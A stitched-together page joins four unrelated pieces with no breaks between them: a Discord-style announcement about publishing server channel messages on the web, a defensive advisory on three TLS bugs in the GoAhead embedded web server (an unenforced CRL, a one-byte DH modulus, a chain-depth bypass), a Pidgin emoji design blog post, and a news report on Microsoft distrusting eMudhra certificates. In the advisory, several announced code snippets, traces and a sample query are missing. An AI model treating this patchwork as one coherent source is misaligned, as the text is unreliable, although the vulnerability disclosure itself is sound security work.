You can already see an early version of this on a few Server Web Pages. We’ve been piloting Channel Messages with Discoverable game communities, including NBA 2K , Rust , and Dead by Daylight . (During this pilot, all posts were from admins and moderators, not members.)

A Server Announcement displayed on the Server Web Page for Dead by Daylight.

If you're running a community, useful answers to common community questions can show up in web search: how to unlock an easter egg, new builds or strategies, or a boss guide. Someone looking for help will be able to find a real answer from a real person, and can step straight into the conversation that it came from by clicking through and opening Discord.

What does this mean for Discoverable Server members?

Starting mid-December 2026, if a server’s admins allow it, messages from public channels can appear on Server Web Pages and in search results, without usernames and avatars. Messages you sent before then won’t be shown. Channels where content may appear on the web will be labeled, so you know before you send a message.

If you'd rather your messages weren't shown, you can turn that off today in User Settings > Data and Privacy . One switch covers every Discoverable Server you're a part of.

The new option to “Show my message content from Discoverable channels on web pages,” located in User Settings > Data and Privacy.

We're rolling this out gradually, so it may be a few weeks before the first messages from those channels go live. Learn more .

What can admins do now?

Your server controls start rolling out today , in Server Settings > Web Presence. You can choose which channels take part, or turn them all off.

The new options for Server Admins to customize their Server Web Page, located in Server Settings > Web Presence.

If you don’t change anything, public channels stay on, your Server Web Page goes live on November 16, 2026 (if it's not already published), and Channel Summaries can start the same day. Channel Messages start rolling out in mid-December 2026. You can adjust your Channel Summaries and Channel Messages settings before they roll out. And if you'd rather publish your Server Web Page yourself, you can do that today.

See the full details in our Help Center .

However you set things up, we hope this is a step toward bringing back what made forums great: answers anyone can find, and an open door to the community that wrote them.

Frequently Asked Questions

How will I know if I am in a server that allows content to appear on the web?
- Discoverable Server admins choose which channels to make available on the web.Those channels will be labeled, so you’ll know before you send a message. As always, you can customize your own privacy choices in your user settings under Data & Privacy.

TLDR

GoAhead is used in hundreds of millions of IoT, Firewall, OT, and Military devices including those from Palo Alto Networks, Comcast, D-Link, HP, Canon, Honeywell, GE, Oracle, Siemens, Rockwell, Digi, Lockheed Martin, Boeing, and more.

Three independent bugs in GoAhead's TLS integrations can leave revoked client certificates accepted, encrypted sessions recoverable to an observer or a configured chain-depth limit unenforced. Exposure depends on the TLS library and the verification settings built into the device:

OpenSSL-compatible backend - Critical, CVSS 9.1 - CRL loaded but not enforced, revoked client certificates are silently accepted. GOAHEAD-SA-2026-0006.
LibreSSL legacy verifier - High, CVSS 7.4 - An over-depth client chain is accepted when client certificates are required but issuer checking is disabled. This bypasses the chain-depth restriction. GOAHEAD-SA-2026-0004.
Mbed TLS - Medium, CVSS 5.9 - A buffer-length typo reduces a 2048-bit DH modulus to one byte. TLS 1.2 DHE_RSA sessions are decryptable when the client accepts the broken parameters. GOAHEAD-SA-2026-0005.

TLS build	GoAhead versions	Required configuration	Fix or mitigation
OpenSSL-compatible backend	>= 3.4.5, <= 6.1.0	mTLS enabled with a CRL configured. Revoked client certificates remain accepted even with issuer verification enabled.	Upgrade to 6.1.1 or later .
Mbed TLS backend	>= 4.0.2, <= 6.1.0	TLS 1.2 DHE_RSA negotiated with a client that accepts the broken DH parameters.	Upgrade to 6.1.1 or later , disable finite-field DHE suites, or use the OpenSSL backend.
LibreSSL legacy verifier — 3.2.x or 3.3.2–3.3.6	<= 6.1.0	`VERIFY_PEER=1` and `VERIFY_ISSUER=0` . An over-depth client chain is accepted.	Enable `VERIFY_ISSUER=1` with a trusted CA bundle, or use OpenSSL / LibreSSL 4.x.

Background

GoAhead is an embedded web server used for device management: routers, switches, printers, gateways, and industrial controls and is deployed in hundreds of millions of devices.

Each finding below affects a specific subset of those deployments, depending on the build and configuration.

GoAhead supports two TLS backends: OpenSSL, the default, and MbedTLS. The OpenSSL backend also works with compatible libraries such as LibreSSL.

GoAhead takes a compile-time approach regarding certain configurations:

- ME_GOAHEAD_SSL_VERIFY_PEER=1 requires a client certificate.

- ME_GOAHEAD_SSL_AUTHORITY points at a PEM bundle of trusted CAs.

- ME_GOAHEAD_SSL_VERIFY_ISSUER=1 requires the certificate chain to establish issuer trust against that bundle.

- ME_GOAHEAD_SSL_REVOKE points at a PEM-encoded Certificate Revocation List.

- The OpenSSL backend sets a chain-depth limit of 10 ( VERIFY_DEPTH ).

OpenSSL-compatible builds

GoAhead's OpenSSL backend loads the configured CRL into the certificate store but never enables revocation checking. Revoked client certificates can therefore complete the mTLS handshake even when issuer verification is enabled.

The CRL is loaded in sslOpen() :

OpenSSL requires X509_V_FLAG_CRL_CHECK to enable CRL checking. Loading the file into the store does not set that flag. Without CRL or OCSP checking enabled, check_revocation() returns success before checking revocation status:

GoAhead never sets either CRL flag. OpenSSL returns success without checking the loaded list. The application's callback would reject error 23, X509_V_ERR_CERT_REVOKED , through its default: branch, but the verifier never generates that error.

On GoAhead 6.1.0 with OpenSSL 3.6.2, a revoked CA-signed client certificate completed the mTLS handshake with issuer verification enabled. The verification callback reported error 0 throughout the chain:

X509_STORE_load_locations() succeeds, so startup produces no warning that CRL enforcement is inactive.

Affected: GoAhead 3.4.5 through 6.1.0 using the OpenSSL-compatible backend with a CRL configured. The security impact is clearest with VERIFY_PEER=1 , a trusted CA bundle, and VERIFY_ISSUER=1 : a previously trusted but revoked identity retains access. When issuer checking is disabled, the CRL defect remains but unknown issuers are already accepted by policy.

Fix : 6.1.1 now checks after loading the CRL:

Mbed TLS builds

GoAhead's mbed TLS backend configures the RFC 3526 2048-bit DH group through mbedtls_ssl_conf_dh_param_bin() . The modulus length passed to that function is taken from the generator buffer:

The size arguments tell mbed TLS how many bytes to read from each buffer. The call uses sizeof(dhm_g) for both, even though dhm_g is only one byte long. The length for dhm_p should be sizeof(dhm_p) , or 256 bytes.

As a result, mbed TLS reads only the first byte of dhm_p : 0xFF (255). The remaining 255 bytes are discarded. It accepts this value and sends it to the client during the TLS 1.2 DHE_RSA handshake:

In ServerKeyExchange, 00 01 ff identifies a one-byte DH parameter with the value 255. It should contain the full 256-byte value.

The broken parameters leave just eight possible shared-secret values : 01 , 02 , 04 , 08 , 10 , 20 , 40 and 80 in hex. An observer can try each candidate and identify the correct one by checking whether it decrypts the captured traffic successfully.

In the attached PoC, I managed to reproduce the shared secret after five attempts. It matched the client's secret, confirming that the same TLS session keys could be derived to decrypt the HTTP exchange.

A passive observer can decrypt captured sessions using the recorded handshake and encrypted application records completely out of band.

Exploitation requires a client that accepts the broken DH parameters. The tested OpenSSL client rejected them with DH_check_params_ex: modulus too small . Permissive clients, including custom or embedded implementations without a minimum-size check, can complete a decryptable session. ECDHE sessions and TLS 1.3 are unaffected by this configured finite-field group.

Affected: GoAhead 4.0.2 through 6.1.0 using the mbed TLS backend with TLS 1.2 DHE_RSA suites, where the client accepts the parameters. The typo entered in 2018 during migration to the binary-parameter API and survived the April 2024 TLS refactor. Mbed TLS 4.x removed the TLS_DHE_* suites, so this DHE path isn't impacted.

If you see any of these suites in the JA4S logs of your environment, you might be impacted (eg. t120100_009f_1ca028f07214 )

A sample query you might want to run (in Splunk or other) would look like:

replacing 0014 with the curves listed above.

Fix : 6.1.1 fixed the typo

LibreSSL builds

Essentially, an attacker can present a certificate chain longer than GoAhead’s limit and still complete the mTLS handshake on an affected build. LibreSSL reports an issuer error instead of a depth error. GoAhead accepts that issuer error when issuer checking is disabled.

GoAhead 6.1.0 sets a chain-depth limit of 10 using SSL_CTX_set_verify_depth(sslctx, VERIFY_DEPTH) . Its verification callback also checks the depth:

That check only assigns a depth error when ok is true, the reported depth exceeds the limit, and no error is already present. The callback then classifies the error:

Error 20, UNABLE_TO_GET_ISSUER_CERT_LOCALLY , is tolerated when issuer checking is disabled. Error 22, CERT_CHAIN_TOO_LONG , is rejected.

LibreSSL 3.2.x and 3.3.2–3.3.6 use the legacy X.509 verifier by default for peer verification. Its chain-building loop contains a FIXME comment (which is what prompted a look at GoAhead in the first place):

The loop stops building the chain without recording the depth error. The failure later reaches GoAhead as error 20. With VERIFY_ISSUER=0 , the callback accepts it.

On GoAhead 6.1.0 linked against LibreSSL 3.3.6, a 17-certificate chain rooted in an attacker-controlled, self-signed CA produced the following callback trace:

The handshake completed and the resource behind the client-certificate requirement returned HTTP 200. The same GoAhead source built against LibreSSL 4.3.1 received error 22 at depth 10 and rejected the chain.

With VERIFY_ISSUER=0 , ordinary self-signed certificates are already allowed. The over-depth chain bypasses the separate chain-depth restriction because the verifier reports a tolerated issuer error. Deployments requiring a trusted client CA reject it.

Demonstrated configuration: GoAhead 6.1.0 with the LibreSSL legacy verifier, ME_GOAHEAD_SSL_VERIFY_PEER=1 , and ME_GOAHEAD_SSL_VERIFY_ISSUER=0 . Enabling issuer trust rejects error 20. OpenSSL, BoringSSL, AWS-LC, and LibreSSL 4.x builds are not exposed to this legacy-verifier trigger.

Conclusion

All three findings affect GoAhead's integration with its TLS libraries. CRL enforcement depends on a verification flag, DH parameters depend on the supplied buffer lengths, and chain-depth enforcement depends on how verification errors are handled. None of these defects prevents the affected handshake from completing.

The backend and build configuration determine which defects apply. LibreSSL builds can inherit both the CRL defect in the OpenSSL-compatible backend and the legacy verifier's depth issue. The mbed TLS backend uses a separate verification path but is affected by the DH truncation when a client accepts the parameters.

One of the things you get to do after being laid off is a lot of reflection, but also to revisit all the old projects you used to contribute to.

One of them was Pidgin : “the universal chat client” .

The new Pidgin 3 app icon and a handful emoji

I designed the original emoticon set for version 2 and helped redesign the user interface when the project was renamed from Gaim after a legal dispute .

Meanwhile, after a huge rewrite , Pidgin 3 is making progress towards a first release and I’ve been helping out here and there with a new app icon and some status symbols for the development releases.

Emoji

I’ve been meaning to start live streaming my weekly app icon work to share a look in the kitchen of the icon design process, but once I gathered the courage to start a test run, the experience wasn’t amazing.

I need something I can return to consistently without needing a new plan every time…

So why not create a base set of 1,447 emoji for Pidgin in GNOME -style exclusively live on stream ? What could go wrong?

Here’s the design file to keep me accountable, so I can’t sneakily make progress offline!

Twitch

I’ll be chipping away at it a few times a week. Follow me on Twitch to get a notification when I go live. We’ll grab a cup of tea, put on some music, and get through the winter.

If you want to support my design work for Free and Open Source projects, I’m always looking for more sponsors .

Or a “ sub ” as the kids call it these days.

Microsoft releases Windows OOB updates to distrust eMudhra certificates

Original Article

Windows

Microsoft has released out-of-band (OOB) Windows updates to remove trust in certificates tied to compromised eMudhra certificate authority keys, protecting systems that do not receive automatic certificate trust updates.

The KB5134133 update for Windows 11 versions 24H2, 25H2, and 26H2 and the KB5134125 update for Windows 10 versions 21H2 and 22H2 were released on October 26.

The updates are for systems without Internet access, devices that cannot access Microsoft's certificate-update service, and those where automatic Certificate Trust List (CTL) updates have been disabled.

The updates were released after the discovery of eight eMudhra intermediate certificate authority private keys that were so weak they could be recovered almost instantly.

All eight keys were generated in April 2025 and had values smaller than 256, allowing anyone to recover them by testing just 256 possible numbers.

The compromised keys could have allowed attackers to forge certificates for legitimate websites and intercept encrypted communications.

After the disclosure, eMudhra revoked the eight compromised intermediate certificates, and Mozilla, Google, Apple, and other software vendors also began revoking them.

In response, Microsoft previously updated the Windows Disallowed Certificate Trust List to block the eight affected intermediate certificate authorities, including six used for TLS and two for code signing.

The company also released a CRLSet update for Microsoft Edge and WebView2 to block affected TLS certificates, which enabled the block without requiring a browser update.

Microsoft is now taking further steps by removing seven certificates associated with the affected certificate hierarchies from its Windows trust list.

"On October 26, Microsoft released an out-of-band Windows update that removes seven certificates associated with the affected hierarchies: six eMudhra G3 roots and an AAA Certificate Services cross-sign, from the Windows trust list," Microsoft explained .

The new update goes further by also removing trust in the eMudhra root certificates used to verify other certificates issued by the CA.

Microsoft says the same seven certificates will also be removed from the Edge trust list on October 27.

"Removing a root from a trust list is not the same as revoking the known impacted intermediate certificate authorities," explains Microsoft.

"This is a separate trust decision, broader than blocking the identified compromised intermediate keys. Organizations with a specific compatibility need may choose to trust a certificate locally, subject to their own security assessment and policies."

The company advises admins to install the update on disconnected Windows systems and identify any certificates that depend on the removed roots, as they may need to be replaced.

Microsoft is also investigating the remaining eMudhra roots and may make additional trust changes as needed.
